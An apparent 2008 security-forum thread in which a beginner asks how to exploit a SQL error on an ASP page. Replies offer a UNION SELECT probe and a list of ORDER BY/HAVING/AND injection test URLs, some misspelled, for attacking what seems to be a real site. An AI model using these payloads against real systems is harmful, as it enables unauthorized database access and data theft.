|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 87
Members: 0
Total: 87
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
help in sql injection (mssql ) |
|
Posted: Sun Jun 22, 2008 6:37 pm |
|
|
mooty |
Beginner |
|
|
Joined: Apr 26, 2008 |
Posts: 2 |
|
|
|
|
|
|
|
hey guys
i found this error
when i add '
Code: |
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'article_id=10
articles/artivle_details.asp, line 14
|
how i exploit this error |
|
|
|
|
|
Re: help in sql injection (mssql ) |
|
Posted: Sun Aug 17, 2008 5:31 pm |
|
|
3rraz |
Beginner |
|
|
Joined: Aug 17, 2008 |
Posts: 3 |
|
|
|
|
|
|
|
mooty wrote: | hey guys
i found this error
when i add '
Code: |
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'article_id=10
articles/artivle_details.asp, line 14
|
how i exploit this error |
dont add ' ...
try union without quote. ?article_id=-1 union select 1,2,3,4,5 fom articles
etc. mess around with it. |
|
|
|
|
|
Re: help in sql injection (mssql ) |
|
Posted: Sun Aug 17, 2008 7:42 pm |
|
|
cO2_dz |
Regular user |
|
|
Joined: Aug 12, 2008 |
Posts: 10 |
Location: Algeria |
|
|
|
|
|
|
Quote: | Code: | Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'article_id=10
articles/artivle_details.asp, line 14 |
|
Hi,
Try:
Code: | /artivle_details.asp?article_id=10+HAVING+1=1--+
/artivle_details.asp?article_id=10+ORDER+BY+1--+
/artivle_details.asp?article_id=10+ORDER+BY+99999--+
/artivle_details.asp?article_id=10+GROUPS+BY+1--
/artivle_details.asp?article_id=10+GROUPS+BY+9999--+
/artivle_details.asp?article_id=10+AND+1=1--+
/artivle_details.asp?article_id=10+AND+1=0--+ |
And then told me what you see OK?
All my respect
/cO2 |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|